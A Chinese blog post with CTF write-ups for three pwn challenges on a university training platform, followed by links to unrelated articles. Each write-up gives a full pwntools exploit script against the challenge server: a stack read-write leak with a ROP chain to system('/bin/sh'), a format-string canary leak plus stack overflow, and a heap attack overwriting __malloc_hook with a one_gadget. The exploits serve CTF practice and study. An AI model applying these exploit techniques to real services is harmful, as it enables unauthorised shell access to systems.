BIT 常态化在线CTF系统 pwn题目
偶然得到这个平台,发现是BIT的CTF平台,应该是平时的阶段性的训练题目。看了看题,其他方向的题目感觉都是入门题,但是pwn题目,发现还是比入门题难一点点的,来记录一下。
pwn1
栈上任意位置的读写操作,只能一字节一字节读写,算好偏移,还是挺好做的。

比较坑的是,远程的libc被改了,用one_gadgets打的时候,明明可以拿到shell,但是不给flag!真是可恶!!!
做题思路:泄露libc基地址,泄露pie程序基地址,把返回地址覆盖成pop_rdi,binsh,system,拿shell三连来拿到flag。
exp:
1 from pwn import *
2
3 #p = process('./pwn')
4 p = remote('39.105.189.183',7005)
5 #libc = ELF('./libc.so.6')
6 libc = ELF('./libc-2.23.so')
7 context.log_level = 'debug'
8
9 p.sendafter('name:','bhxdn')
10 libc_base = ''
11
12 #leak libc
13 for i in range(6):
14 p.sendlineafter('index\n',str(637-i))
15 temp = p.recvuntil('\n')[-3:-1]
16 libc_base += temp
17 temp = int(temp,16)
18 p.sendlineafter('value\n',str(temp))
19
20 libc_base = int(libc_base,16)-240-libc.symbols['__libc_start_main']
21 print 'libc_base-->'+hex(libc_base)
22 system = libc_base+libc.symbols['system']
23 binsh = libc_base+libc.search('/bin/sh').next()
24
25 #leak pie
26 pie = ''
27 for i in range(6):
28 p.sendlineafter('index\n',str(637-288-i))
29 temp = p.recvuntil('\n')[-3:-1]
30 pie += temp
31 temp = int(temp,16)
32 p.sendlineafter('value\n',str(temp))
33 pie = int(pie,16)-0x000B11
34 print 'pie-->'+hex(pie)
35 pop_rdi = pie+0x00d03
36 pop_rdi = str(hex(pop_rdi))
37 system = str(hex(system))
38 binsh = str(hex(binsh))
39
40 for i in range(6):
41 p.sendlineafter('index\n',str(637-288-i))
42 a = (i+1)*2
43 temp = int(pop_rdi[a:a+2],16)
44 p.sendlineafter('value\n',str(temp))
45 for i in range(6):
46 p.sendlineafter('index\n',str(637-288-i+8))
47 a = (i+1)*2
48 temp = int(binsh[a:a+2],16)
49 p.sendlineafter('value\n',str(temp))
50 for i in range(6):
51 p.sendlineafter('index\n',str(637-288-i+16))
52 a = (i+1)*2
53 temp = int(system[a:a+2],16)
54 p.sendlineafter('value\n',str(temp))
55
56 p.sendlineafter('index\n','0')
57 p.sendlineafter('value\n','a')
58 p.sendlineafter('no)? ','no')
59 p.interactive()
60 p.recv()
61 p.recv()
pwn2
32位程序,有栈溢出,有格式化字符串漏洞。
先利用格式化字符串漏洞泄露canary和libc基地址,然后覆盖返回地址,拿shell三连击!
1 from pwn import *
2
3 #p = process('./pwn2')
4 libc = ELF('./libc-2.23_x86.so')
5 p = remote('39.105.189.183',7006)
6 context.log_level = 'debug'
7
8 p.sendlineafter('me?[Y]\n','Y')
9 p.sendlineafter('please:\n','%11$p-%27$p')
10 canary = int(p.recvuntil('-')[-11:-1],16)
11 libc_base = int(p.recv(10),16)-247-libc.symbols['__libc_start_main']
12 print 'canary-->'+hex(canary)
13 print 'libc_base-->'+hex(libc_base)
14 system = libc_base+0x03adb0
15 binsh = libc_base+0x15bb0b
16 system = libc_base+libc.symbols['system']
17 binsh = libc_base+libc.search('/bin/sh').next()
18 ret = 0x08048973
19 payload= 'a'*0x10+p32(canary)+'bbbb'*3+p32(ret)+p32(system)+p32(0)+p32(binsh)
20 p.send(payload)
21 p.interactive()
pwn3
pwn3是一道堆题目,增删查改四个功能都有。程序没有开启pie。
add:可以创建任意大小的堆块,其余漏洞没有了。(用的是malloc创建的堆块,创建时不会清理原来堆块的残余数据)
edit:没有任何问题,边界都控制的很好,也没有溢出。
show:没有任何问题。
delete:漏洞点就在delete函数中。发现对程序进行free的时候,没有检查边界。如果我们在堆上面伪造chunk指针,delete我们伪造的指针,就可以实现攻击。

做题思路:
1.通过创建0x80大小的堆块,再申请回来,show一下拿到libc基地址。
2.让unsortedbin链上有两个chunk,此时的一个chunk上的bk指针是指向另一个chunk的,bk存着堆地址,然后申请回来,show就可以得到堆的地址。
3.在堆上伪造一个chunk指针,指向一个chunk,利用delete函数的漏洞,对这个chunk进行free,此时在bss段还会有一个指向free的这个chunk的指针。这个chunk需要是0x68大小,free后是fastbins,也能申请到malloc_hook-0x23的位置。接下来就是改写fd指针,打malloc_hook,用realloc抬帧。
吐槽:还是libc问题,尝试了好多次,才找到一个可以用的偏移。
exp:
1 from pwn import *
2
3 p = process('./pwn')
4 #p = remote('39.105.189.183',7007)
5 elf = ELF('./pwn')
6 context.log_level = 'debug'
7 #libc = ELF('./libc.so.6')
8 libc = ELF('./libc-2.23.so')
9
10 def duan():
11 gdb.attach(p)
12 pause()
13 def add(size,content):
14 p.sendlineafter('choice:','2')
15 p.sendlineafter('daily:',str(size))
16 p.sendafter('daily\n',content)
17 def show():
18 p.sendlineafter('choice:','1')
19 def edit(index,content):
20 p.sendlineafter('choice:','3')
21 p.sendlineafter('daily:',str(index))
22 p.sendafter('daily\n',content)
23 def delete(index):
24 p.sendlineafter('choice:','4')
25 p.sendlineafter('daily:',str(index))
26
27 add(0x80,'aaaaaaaa')
28 add(0x80,'bbbbbbbb')
29 delete(0)
30 add(0x80,'aaaaaaaa')
31 show()
32 libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-88-0x10-libc.symbols['__malloc_hook']
33 print 'libc_base-->'+hex(libc_base)
34 add(0x10,'aaaaaaaa')
35 add(0x80,'zzzzzzzz')
36 add(0x10,'zzzzzzzz')
37 delete(1)
38 delete(3)
39 duan()
40 add(0x80,'aaaabbbb')
41
42 show()
43 p.recvuntil('aaaabbbb')
44 heap_base = u64(p.recv(4).ljust(8,'\x00'))-0x140
45 print 'heap_base-->'+hex(heap_base)
46 add(0x80,'aaaaaaaa')
47 add(0x20,p64(0x70)+p64(heap_base+0x210+0x20))
48 add(0x68,'aaaaaaaa')
49 add(0x10,'zzzzzzzz')
50 offset = (heap_base+0x200-0x602060)/16
51 print 'offset-->'+str(offset)
52 delete(offset)
53 edit(1,'zzzzzzzz')
54 edit(6,p64(libc_base+libc.symbols['__malloc_hook']-0x23))
55 add(0x68,'aaaaaaaa')
56
57 #og = [0x45226,0x4527a,0xf0364,0xf1207]
58 og = [0x45216,0x4526a,0xf02a4,0xf1147]
59 shell = libc_base+og[1]
60
61 print hex(libc_base+libc.symbols['__malloc_hook']-0x23)
62 realloc = libc_base+libc.symbols['realloc']
63
64 #add(0x68,'a'*(0x13-0x8)+p64(shell)+p64(realloc+13))
65 add(0x68,'a'*(0x13-0x8)+p64(shell)+p64(realloc+6))
66 p.sendlineafter('choice:','2')
67 p.sendlineafter('daily:',str(0x10))
68 p.interactive()
BIT 常态化在线CTF系统 pwn题目的更多相关文章
- 基于Web在线考试系统的设计与实现
这是一个课程设计的文档,源码及文档数据库我都修改过了,貌似这里复制过来的时候图片不能贴出,下载地址:http://download.csdn.net/detail/sdksdk0/9361973 ...
- 基于ssh框架的在线考试系统开发的质量属性
我做的系统是基于ssh框架的在线考试系统.在线考试系统有以下几点特性:(1)系统响应时间需要非常快,可以迅速的出题,答题.(2)系统的负载量也需要非常大,可以支持多人在线考试(3)还有系统的安全性也需 ...
- JavaWeb项目开发案例精粹-第3章在线考试系统-007View层
0.login.jsp <%@ page language="java" import="java.util.*" pageEncoding=" ...
- Java在线考试系统(含源码)
本文demo下载和视频教学观看地址:http://www.wisdomdd.cn/Wisdom/resource/articleDetail.htm?resourceId=1076 本实例介绍了在线考 ...
- JavaWeb项目:在线评测系统
此项目为本人的Java大作业. 项目文件和相关资源已上传到本人的GitHub 一.项目概况 1.1设计内容 一个在线评测系统,分用户和管理员两种身份.用户能够通过注册登录,参加比赛,最后实时得到比赛结 ...
- 深度学习项目——基于卷积神经网络(CNN)的人脸在线识别系统
基于卷积神经网络(CNN)的人脸在线识别系统 本设计研究人脸识别技术,基于卷积神经网络构建了一套人脸在线检测识别系统,系统将由以下几个部分构成: 制作人脸数据集.CNN神经网络模型训练.人脸检测.人脸 ...
- 开源的在线评测系统——Vakuum
项目地址 http://code.google.com/p/vakuum-oj/ https://github.com/BYVoid/vakuum 简介 Vakuum是一个基于Linux+PHP的在线 ...
- SCTF 2014 pwn题目分析
因为最近要去做ctf比赛的这一块所以就针对性的分析一下近些年的各大比赛的PWN题目.主防项目目前先搁置起来了,等比赛打完再去搞吧. 这次分析的是去年的SCTF的赛题,是我的学长们出的题,个人感觉还是很 ...
- 基于SSM的在线考试系统
本系统功能非常完善,页面美观大方,技术新颖,选用主流数据库Mysql,表数量及结构适当,如果你需要做在线考试或者其它考试类系统,这个系统将非常有用. 其实,任何考试系统,无非试题不一样,所以如果你是做 ...
随机推荐
- [bzoj1122]账本
简化问题:如果没有2操作,答案是多少贪心:修改-一定修改最前面的,修改+一定修改最后面的,正确性显然而通过1操作,要完成两步:1.让最终结果为q:2.让前缀和非负,通过贪心可以获得最小值(具体来说,假 ...
- 小白都能看懂的 Spring 源码揭秘之依赖注入(DI)源码分析
目录 前言 依赖注入的入口方法 依赖注入流程分析 AbstractBeanFactory#getBean AbstractBeanFactory#doGetBean AbstractAutowireC ...
- Codeforces 788E - New task(线段树)
Codeforces 题目传送门 & 洛谷题目传送门 这是一道 *2900 的 D1E,而且被!我!自!己!搞!出!来!了! 虽然我承认它难度及摆放的位置异常异常虚高,并且就算我到了现场也不可 ...
- Perl调用和管理外部文件中的变量(如软件和数据库配置文件)
编写流程时,有一个好的习惯是将流程需要调用的软件.数据库等信息与脚本进行分离,这样可以统一管理流程的软件和数据库等信息,当它们路径改变或者升级的时候管理起来就很方便,而不需要去脚本中一个个寻找再修改. ...
- [R]在dplyr基础上编写函数-(1)eval
tidyverse系列的R包虽然解放了大家的双手,但同时也束缚了我们重新编写函数的能力.在这一套语法中,要实现作为函数参数的字符串和变量之间的相互转换困难重重,但只要掌握了其中原理后,也就能够游刃有余 ...
- Selenium-IDE,在网页上模拟人的操作
想偷懒,不想做很机械重复的网页操作,就百度了一下看看有什么方法,能把自己从重复性的网页操作中解放出来,于是,百度到了selenium ide,折腾许久,用最新版火狐添加了自带selenium ide组 ...
- 5.Maximum Product Subarray-Leetcode
f(j+1)为以下标j结尾的连续子序列最大乘积值(1) 状态转移方程如何表示呢: 这里我们知道A[j]可能为正数(或0)或负数,那么当A[j]为正数,期望前j个乘积为正数,若为负数,则期望前面的为负数 ...
- Unity——Js和Unity互相调用
Unity项目可以打包成WebGl,打包后的项目文件: Build中是打包后的Js代码: Index.html是web项目的入口,里面可以调整web的自适应,也可以拿去嵌套: TemplateData ...
- 数仓day01
1. 该项目适用哪些行业? 主营业务在线上进行的一些公司,比如外卖公司,各类app(比如:下厨房,头条,安居客,斗鱼,每日优鲜,淘宝网等等) 这类公司通常要针对用户的线上访问行为.消费行为.业务操作行 ...
- Linux磁盘分区(三)之查看磁盘分区常用命令
Linux磁盘分区(三)之查看磁盘分区常用命令转自https://blog.csdn.net/x356982611/article/details/77893264 1.df df -T 总的 ...